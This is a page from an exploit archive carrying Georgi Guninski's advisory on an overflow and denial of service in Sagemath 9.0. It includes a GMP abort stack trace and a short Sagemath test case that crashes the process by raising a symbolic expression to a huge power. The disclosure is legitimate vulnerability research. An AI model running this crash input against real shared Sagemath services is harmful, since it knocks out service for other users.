Home[1] Files[2] News[3] &[SERVICES_TAB] Contact[4] Add New[5]
- Sagemath 9.0 Overflow / Denial Of Service[6]
- Authored by Georgi Guninski[7]
-
Sagemath version 9.0 suffers from overflow and denial of service vulnerabilities.
- SHA-256 |
cd33738d86983c0d334c06354102833ee1f1e36d4ad569b092958d9f143920da - Download[8] | Favorite[9] | View[10]
Change Mirror[11] Download[12]
sagemath 9.0 and reportedly later on ubuntu 20.
sagemath gives access to the python interpreter,
so code execution is trivial.
We give DoS attacks, which terminates the sagemath process
with abort(), when raising symbolic expression to large integer power.
We get abort() with stack:
gmp: overflow in mpz type
#6 0x00007f55c83ee72e in __GI_abort () at
/build/glibc-SzIz7B/glibc-2.31/stdlib/abort.c:79
#7 0x00007f55c56e0d20 in __gmpz_realloc ()
#8 0x00007f55c56dd2b0 in __gmpz_n_pow_ui ()
#9 0x0000000000000000 in GiNaC::numeric::power(long) const ()
#10 0x0000000000000000 in GiNaC::numeric::pow_intexp(GiNaC::numeric
const&) const ()
The non-minimal testcase
===
#sagemath code, copyright Georgi Guninski
def binnk3u(n,k): return ( (n/k)**(k))
n1=(2*10**3);d0=29004853178239;n0=SR(log(n1));
tt=binnk3u(n0+d0-1,d0);
print("passed :(")
===
File Tags
- ActiveX[17] (932)
- Advisory[18] (78,150)
- Arbitrary[19] (15,244)
- BBS[20] (2,859)
- Bypass[21] (1,580)
- CGI[22] (1,013)
- Code Execution[23] (6,746)
- Conference[24] (671)
- Cracker[25] (799)
- CSRF[26] (3,275)
- DoS[27] (22,011)
- Encryption[28] (2,339)
- Exploit[29] (50,059)
- File Inclusion[30] (4,158)
- File Upload[31] (945)
- Firewall[32] (821)
- Info Disclosure[33] (2,564)
- Intrusion Detection[34] (859)
- Java[35] (2,822)
- JavaScript[36] (803)
- Kernel[37] (6,138)
- Local[38] (14,077)
- Magazine[39] (586)
- Overflow[40] (12,245)
- Perl[41] (1,413)
- PHP[42] (5,055)
- Proof of Concept[43] (2,284)
- Protocol[44] (3,340)
- Python[45] (1,404)
- Remote[46] (29,822)
- Root[47] (3,462)
- Ruby[48] (578)
- Scanner[49] (1,630)
- Security Tool[50] (7,730)
- Shell[51] (3,071)
- Shellcode[52] (1,203)
- Sniffer[53] (883)
- Spoof[54] (2,116)
- SQL Injection[55] (16,050)
- TCP[56] (2,368)
- Trojan[57] (680)
- UDP[58] (871)
- Virus[59] (660)
- Vulnerability[60] (30,616)
- Web[61] (9,092)
- Whitepaper[62] (3,723)
- x86[63] (943)
- XSS[64] (17,376)
- Other[65]
File Archives
- September 2022[66]
- August 2022[67]
- July 2022[68]
- June 2022[69]
- May 2022[70]
- April 2022[71]
- March 2022[72]
- February 2022[73]
- January 2022[74]
- December 2021[75]
- November 2021[76]
- October 2021[77]
- Older[78]
Systems
- AIX[79] (426)
- Apple[80] (1,895)
- BSD[81] (369)
- CentOS[82] (55)
- Cisco[83] (1,915)
- Debian[84] (5,948)
- Fedora[85] (1,690)
- FreeBSD[86] (1,242)
- Gentoo[87] (4,197)
- HPUX[88] (878)
- iOS[89] (321)
- iPhone[90] (108)
- IRIX[91] (220)
- Juniper[92] (67)
- Linux[93] (42,800)
- Mac OS X[94] (684)
- Mandriva[95] (3,105)
- NetBSD[96] (255)
- OpenBSD[97] (478)
- RedHat[98] (11,940)
- Slackware[99] (941)
- Solaris[100] (1,607)
- SUSE[101] (1,444)
- Ubuntu[102] (7,985)
- UNIX[103] (9,109)
- UnixWare[104] (185)
- Windows[105] (6,465)
- Other[106]


